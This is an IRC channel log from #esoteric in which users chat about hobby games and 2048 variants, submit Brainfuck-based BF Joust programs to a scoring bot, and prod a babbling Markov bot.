:Remote host closed the connection < 1395569362 568517 :quintopia!~quintopia@74.117.159.204 JOIN :#esoteric < 1395569369 292404 :quintopia!~quintopia@74.117.159.204 QUIT :Changing host < 1395569369 346418 :quintopia!~quintopia@unaffiliated/quintopia JOIN :#esoteric < 1395569376 512951 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Jafet: Esolang wiki as "Muxcomp" which the hardware multiplex is the only instruction in its instruction sets, so, it is something like that. < 1395569517 362462 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :oh. you really want a binary table lookup. hmm. < 1395569661 209383 :nisstyre!~yourstrul@oftn/member/Nisstyre QUIT :Ping timeout: 245 seconds < 1395569939 906159 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395570417 428946 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395570543 356110 :nooodl!~nooodl@193.119-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395571802 318275 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Ping timeout: 265 seconds < 1395571902 54766 :mendax!~mind@177.82.83.186 JOIN :#esoteric < 1395571935 693976 :glogbackup!~glogbacku@192.3.160.190 QUIT :Remote host closed the connection < 1395572034 335164 :jconn!~va@1-130.ipswich.cc.colocall.com QUIT :Ping timeout: 265 seconds < 1395572063 337335 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:clog!~nef@bespin.org JOIN :#esoteric < 1395575165 472426 :monotone!~monotone@room208.org JOIN :#esoteric < 1395575165 472493 :coppro!raedford@taurine.csclub.uwaterloo.ca JOIN :#esoteric < 1395575165 472557 :hogeyui!~hogeyuiVP@vps.usamimi.biz JOIN :#esoteric < 1395575165 472622 :myndzi!myndzi@2600:3c00::f03c:91ff:fedf:3d4e JOIN :#esoteric < 1395575165 472688 :b_jonas!~x@russell2.math.bme.hu JOIN :#esoteric < 1395575165 472755 :lifthrasiir!~lifthrasi@115.68.131.49 JOIN :#esoteric < 1395575165 472822 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1395575165 472887 :fizzie!fis@unaffiliated/fizzie JOIN :#esoteric < 1395575165 472952 :tromp__!~tromp@rtc35-245.rentec.com JOIN :#esoteric < 1395575165 473017 :trn!jhj@2600:3c00::f03c:91ff:feae:3efa JOIN :#esoteric < 1395575165 473084 :aloril!~aloril@dsl-tkubrasgw2-54f80b-12.dhcp.inet.fi JOIN :#esoteric < 1395575444 344182 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395576731 618369 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395576884 375917 :atriq!~nathan@5.151.247.203 JOIN :#esoteric < 1395576912 348240 :atriq!~nathan@5.151.247.203 QUIT :Read error: Connection reset by peer < 1395576943 978959 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Morning < 1395577023 466275 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Morning too. < 1395577030 684999 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :@localtime Taneb < 1395577031 166273 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Local time for Taneb is Sun Mar 23 12:17:11 < 1395577038 587214 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :yup. definitely morning. < 1395577120 891392 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Morning is whenever you want it to be. < 1395577150 662377 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :also, "moin moin" can be said like any time you want < 1395577164 244715 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :boily, I went to bed at 7 < 1395577322 871552 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Jafellot. mynamello. < 1395577350 276929 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :Taneb: 7, as in 7am? < 1395577368 980829 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i did 5 am < 1395577376 338655 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Yes < 1395577403 30703 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I started working on a game yesterday evening < 1395577518 394591 :password2!~password@197.78.165.22 PRIVMSG #esoteric :what game? < 1395577526 213622 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I am making a game < 1395577535 476833 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :You control a zombie horde < 1395577542 91434 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :anyone called me? < 1395577555 852613 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Taneb: i like it so far < 1395577603 31701 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Taneb: will there be a terminal version? < 1395577605 43492 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :My code is on Github if you want to see, https://github.com/Taneb/zombie-game < 1395577613 462996 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :myname, probably not for a while I am afraid < 1395577627 841816 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :how am i supposed to play it, then < 1395577628 193325 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :But it is not outside the realms of possibility < 1395577633 815475 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :hi < 1395577649 57052 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :By borrowing a not-terminal-only computer from your parents? < 1395577665 153692 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Taneb: could you outline the idea of the game? < 1395577689 710376 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :You control a horde of zombies who follow the cursor. Use them to defeat the humans! < 1395577697 584408 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :They are pretty stupid though < 1395577706 877618 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :have you ever dreamt of irc channels that don't exist in reality? < 1395577744 708996 :password2!~password@197.78.165.22 PRIVMSG #esoteric :? < 1395577752 611030 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Taneb: it sounds a bit like a reverse robot escape game < 1395577806 619392 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :myname, I have not played a robot escape game < 1395577810 961219 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :b_jonas, no, I have not < 1395577822 781705 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Have you? < 1395577853 90599 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :'control a horde'' hmm... Anyone ever heard of Liquid Wars? < 1395577868 354714 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Taneb: you are the player and have to escape robots that pop up, robots always take the shortest path towards you, but if 2 run into each other, they get destroyed < 1395577879 942981 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :Taneb: I think I have, but maybe I only dreamt that I dreamt of it, or something < 1395577883 38489 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I'm not sure < 1395577896 204256 :password2!~password@197.78.165.22 PRIVMSG #esoteric :oh theres not a compiled version < 1395577937 146885 :password2!~password@197.78.165.22 PRIVMSG #esoteric :debian ships with robots < 1395578045 28253 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I once had a dream that I had overslept and woke up at 4 PM instead of 8 AM < 1395578072 645017 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :You're dreaming of my life < 1395578190 573353 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395578201 329431 :password2!~password@197.78.165.22 PRIVMSG #esoteric :i should finish my game < 1395578355 87851 :password2!~password@197.78.165.22 PRIVMSG #esoteric :starting by addding more creeps! < 1395578373 450118 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i should start my game < 1395578396 904278 :password2!~password@197.78.165.22 PRIVMSG #esoteric ::P < 1395578672 820291 :password2!~password@197.78.165.22 PRIVMSG #esoteric :mmm , Qt needs a clone class button < 1395578921 329008 :sebbu!~sebbu@ADijon-152-1-21-168.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1395578968 124772 :sebbu!~sebbu@ADijon-152-1-21-168.w83-194.abo.wanadoo.fr QUIT :Changing host < 1395578968 181763 :sebbu!~sebbu@unaffiliated/sebbu JOIN :#esoteric < 1395579198 380447 :password2!~password@197.78.165.22 QUIT :Ping timeout: 240 seconds < 1395579325 495138 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395579523 514631 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395579523 894559 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin > 1395580388 482835 JOIN :#esoteric > 1395580392 621796 JOIN :#esoteric > 1395580393 137159 JOIN :#esoteric > 1395580434 470625 JOIN :#esoteric > 1395580438 590685 JOIN :#esoteric > 1395580439 106194 JOIN :#esoteric > 1395580501 298742 JOIN :#esoteric > 1395580505 422378 JOIN :#esoteric > 1395580505 937193 JOIN :#esoteric > 1395580537 298848 JOIN :#esoteric > 1395580541 423681 JOIN :#esoteric > 1395580541 939368 JOIN :#esoteric > 1395580573 300953 JOIN :#esoteric > 1395580577 423100 JOIN :#esoteric > 1395580577 937864 JOIN :#esoteric > 1395580609 299065 JOIN :#esoteric > 1395580613 420744 JOIN :#esoteric > 1395580613 935788 JOIN :#esoteric > 1395580660 369367 JOIN :#esoteric > 1395580664 492550 JOIN :#esoteric > 1395580665 7307 JOIN :#esoteric > 1395580693 344317 JOIN :#esoteric > 1395580697 467416 JOIN :#esoteric > 1395580697 983449 JOIN :#esoteric > 1395580736 672773 JOIN :#esoteric > 1395580740 795797 JOIN :#esoteric > 1395580741 310999 JOIN :#esoteric > 1395580792 376853 JOIN :#esoteric > 1395580796 496548 JOIN :#esoteric > 1395580797 11457 JOIN :#esoteric > 1395580831 265375 JOIN :#esoteric > 1395580835 381024 JOIN :#esoteric > 1395580835 896373 JOIN :#esoteric > 1395580879 261702 JOIN :#esoteric > 1395580883 383625 JOIN :#esoteric > 1395580883 898621 JOIN :#esoteric > 1395580924 414829 JOIN :#esoteric > 1395580928 538452 JOIN :#esoteric > 1395580929 53196 JOIN :#esoteric > 1395580990 428947 JOIN :#esoteric < 1395580991 134641 :glogbot!dlopen@libdl.so JOIN :#esoteric > 1395580994 546937 JOIN :#esoteric > 1395580995 61868 JOIN :#esoteric < 1395581186 981863 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 JOIN :#esoteric < 1395581239 251916 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust anubiann00b [>[-]-] < 1395581247 912888 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_anubiann00b: 5.4 < 1395581342 497629 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust noob >>>>>>>>>[>[-]-] < 1395581342 783257 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :anubiann00b: how dare you score higher than me? < 1395581345 232332 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_noob: 5.7 < 1395581357 592525 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :boily pro plays right here < 1395581387 992343 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric : !bfjoust anubiann00b [>+[-]-] < 1395581464 590936 :mtve!~mtve@10130.x.rootbsd.net JOIN :#esoteric < 1395581468 212496 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :(mildly interesting wikipédia fact: the [French press](http://en.wikipedia.org/wiki/French_press) article doesn't have a French version.) < 1395581484 251934 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :mmkay then < 1395581498 403321 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :It's not even french... < 1395581509 482298 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust noob [>+[-]-] < 1395581512 302378 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_noob: 5.3 < 1395581533 398302 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :in fact, the name “French press” is a Bodum patent. < 1395581557 852863 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust noob >>>>>>>>[>+[-]-] < 1395581560 592628 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_noob: 6.4 < 1395581569 883523 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :really a patent? or e.g. trademark? < 1395581572 609315 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :So how bad is 6.4 < 1395581617 205620 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust noob >+>->+>->+>->+[>+[-]-] < 1395581620 12003 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_noob: 5.7 < 1395581651 731766 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :apparently the french name for it is often "Bodum" < 1395581720 580514 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :!bfjoust oops < < 1395581723 382604 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for int-e_oops: 0.0 < 1395581730 182012 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust test >++++++++++++++++++++ >-------------------- >-------------------- >++++++++++++++++++++ >++++++++++++++++++++ >-------------------- >-------------------- >++++++++++++++++++++ >++++ >---- >---- >++++ >++++ >---- >---- >++++ >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>> >>>>>>> >------[+]>------[+]>------[+]>------[+] >------[+]>------[+]>----- < 1395581732 795185 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_test: 0.0 < 1395581735 512716 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :nice job int e < 1395581752 24702 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :wait no this code will just run off the right side < 1395581786 798711 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :olsner: trademark. < 1395581791 549679 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :what are teh * and % < 1395581804 131458 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust test something >+>->+>->+>->+(>-++-(.)*132[+]++>-++-(.)*132[-]--)*15 < 1395581806 774152 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_test: 9.3 < 1395581872 356667 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust flagdance [+] < 1395581874 992408 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 9.8 < 1395581906 983756 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :yeah 9.8 lets go < 1395582039 373784 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust flagdance [[+-][+-][+-][+-][+-][+-][+-][+-]] < 1395582043 181909 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 12.5 < 1395582075 526022 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust [+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-] < 1395582075 921688 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Use: !bfjoust . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/ < 1395582112 57173 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust flagdance [+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-][+-] < 1395582115 823221 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 10.1 < 1395582134 248764 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust flagdance [[+-]] < 1395582137 957426 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdance: 12.7 < 1395582159 524494 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :!bfjoust !bfjoust [+-] ([+-])*10000 < 1395582163 231571 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for int-e__bfjoust: 9.8 < 1395582169 478142 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :what does the * do < 1395582171 380959 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :!bfjoust [+-] ([+-])*10000 < 1395582175 251849 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for int-e___-_: 9.8 < 1395582177 751705 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :that's not part of the bf language < 1395582189 420322 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :http://esolangs.org/wiki/BF_Joust describes the extended syntax < 1395582202 888312 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(under "Abbreviations") < 1395582209 502826 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :oh thanks < 1395582310 645198 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust flagdanceTripwire (>+>-)*5(<)*10[[+-]] < 1395582315 306944 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdanceTripwire: 4.0 < 1395582340 922756 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust flagdanceTripwire >+>-<<[[+-]] < 1395582345 714244 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_flagdanceTripwire: 4.7 < 1395582372 373807 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1395582376 408222 :password2!~password@197.78.143.98 PRIVMSG #esoteric :+bfjoust? < 1395582465 861800 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :!bfjoust - >*10([-.]>)*5<*15(+-)*10000 < 1395582469 582385 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for int-e_-: 3.3 < 1395582476 223947 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fun. < 1395582485 439131 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :nice < 1395582509 203114 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :How exactly does a program that sets a tripwire then trolls the flag do worse than a program that just trolls the flag? < 1395582511 308309 :password2!~password@197.78.143.98 PRIVMSG #esoteric :!bfjoust +[] < 1395582511 721490 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Use: !bfjoust . Scoreboard, programs, and a description of score calculation are at http://codu.org/eso/bfjoust/ < 1395582538 832315 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :@password2 you need to inclue the program name < 1395582539 19078 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Unknown command, try @list < 1395582545 573473 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :like this < 1395582554 812046 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :!bfjoust foo [-] < 1395582555 952087 :password2!~password@197.78.143.98 PRIVMSG #esoteric :@list < 1395582556 250160 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :What module? Try @listmodules for some ideas. < 1395582557 119191 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust yolo [-] < 1395582557 588140 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for nortti_foo: 9.4 < 1395582559 812287 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_yolo: 9.4 < 1395582562 362222 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :wat < 1395582575 923445 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :nortti lol < 1395582591 768412 :password2!~password@197.78.143.98 PRIVMSG #esoteric :!bfjoust diit +[] < 1395582594 444283 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for password2_diit: 6.1 < 1395582612 565811 :password2!~password@197.78.143.98 PRIVMSG #esoteric :!bfjoust dito +[>] < 1395582615 311857 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for password2_dito: 6.1 < 1395582658 341805 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust imdone < < 1395582660 967216 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_imdone: 0.0 < 1395582662 588679 :password2!~password@197.78.143.98 PRIVMSG #esoteric :what does the score mean? < 1395582677 792133 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 PRIVMSG #esoteric :!bfjoust yolo [-] < 1395582681 382647 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for anubiann00b_yolo: 9.4 < 1395582772 550264 :password2!~password@197.78.143.98 PRIVMSG #esoteric :!bfjoust dito +[[[>]]] < 1395582801 583250 :anubiann00b!1811da41@gateway/web/freenode/ip.24.17.218.65 QUIT :Quit: Page closed < 1395582924 744388 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :!bfjoust - (>>+*12>>-*12)*2>([+[.-]]>)*19 < 1395582927 401927 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for int-e_-: 14.6 < 1395582938 420121 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :!bfjoust - (>>+*12>>-*12)*2>([+[.-]]>)*20 < 1395582941 152841 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for int-e_-: 16.0 < 1395583088 54613 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :!bfjoust - (>>+*12>>-*12)*2>([+[.-]]>)*20[+[.-]]<*29(+-)*10000 < 1395583090 752633 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for int-e_-: 17.6 < 1395583198 292862 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :holy fungot, that coffee is powerful. < 1395583198 511699 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: no, it's not. it's more complex than that. read the code.) good stuff like " thisfunction2 thislineofcode")) but have to seek. hee. i wan to faster finish the game could < 1395583216 226996 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: more complex than coffee grounds and hot water? < 1395583216 413771 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: that is just a value of type " airbus is a big fan of avril....but this song " there was much greenish-brown pulpy matter < 1395583237 234535 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: uhm. greenish-brown pulpy matter... < 1395583237 461527 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :boily: agora alice c64 ct darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp youtube with this jaybad... he is like the punching him? does it involve? doing it the way you would calibrate a normal. pm showed the bq a parking citation. if confronted, you will say you are only here to deliver a message and then i'll put his shit.... w.t.f lol < 1395583278 252182 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :^style lovecraft < 1395583278 474604 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Selected style: lovecraft (H. P. Lovecraft's writings) < 1395583282 552786 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :fungot: quiens. < 1395583423 147393 :ket1v_!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395583772 844377 :Sorella!~queen@oftn/member/Sorella JOIN :#esoteric < 1395584664 975073 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :is fungot sleeping? < 1395584665 254050 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :b_jonas: but isolated parts of bodies, or fragments and synthetic mockeries of bodies, or fragments and synthetic mockeries of bodies, or fragments and synthetic mockeries of bodies, as might remain from the morbid and unaccountable foetor, i seized the paper and look affrightedly out of the rest, silhouetted against the rising moon. < 1395585360 550349 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :All about the bodies. < 1395585428 937156 :contrapumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1395585581 910571 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :!bfjoust 0 http://esolangs.org/wiki/BF_Joust < 1395585585 673975 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​Score for int-e_0: 0.0 < 1395585586 918753 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :;-) < 1395585641 422312 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fungot should say that again < 1395585641 649759 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: gilman's room was torn out, the fnord who lodged just under gilman talking to mazurewicz one evening. they were < 1395585662 374083 :copumpkin!~copumpkin@unaffiliated/copumpkin JOIN :#esoteric < 1395585703 50599 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Poor fungot, it's still suffering from (dronf)^-1 poisoning. < 1395585703 404506 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :int-e: some disturbance or malady of genuine gravity, which no doubt formed the basis of the prevailing odd fnord and after six months believed that he could trust his instincts to take him back to fnord < 1395585790 494819 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I think fungot can hear you. < 1395585790 703217 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: it does credit to the alertness of ammi's mind that he puzzled even at that tense moment over a point which would probably be missing. joe knew about such things. those scaly fnord seem to have been our associate. moreover, it might form a good present link with the scene of unholy worship, so inspector legrasse and his men, it is true that the window he faced was unbroken, but nature has shown herself capable of many fr < 1395586474 558719 :copumpkin!~copumpkin@unaffiliated/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1395586658 491161 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395586939 345125 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 264 seconds < 1395587003 647399 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395587703 992384 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Quit: Leaving < 1395587959 371654 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I won that stupid 2048 game. < 1395588165 420323 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :Now do the 3D version! http://joppi.github.io/2048-3D/ Or the 65536 version! http://www.csie.ntu.edu.tw/~b01902112/65536/ Or the Numberwang version! http://louhuang.com/2048-numberwang/ < 1395588210 616653 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :I tried the numberwang one yesterday. my brain was unhappy. < 1395588237 194838 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :lol < 1395588355 834410 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :what the fuck numberwang, the numbers keep changing < 1395588400 204246 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Zom-B, focus on the colours :) < 1395588414 55458 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :i noticed < 1395588425 905175 :Zom-B!~Zom-B@143.177.41.147 PRIVMSG #esoteric :so its just 2048 with numbers obfuscated? < 1395588441 144993 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Well... that's numberwang < 1395588531 914691 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Deewiant: intuitively, 65536 should be easy, but it'll take 30k moves. OUCH! < 1395588563 774276 :Deewiant!~deewiant@deewiant.iki.fi PRIVMSG #esoteric :int-e: 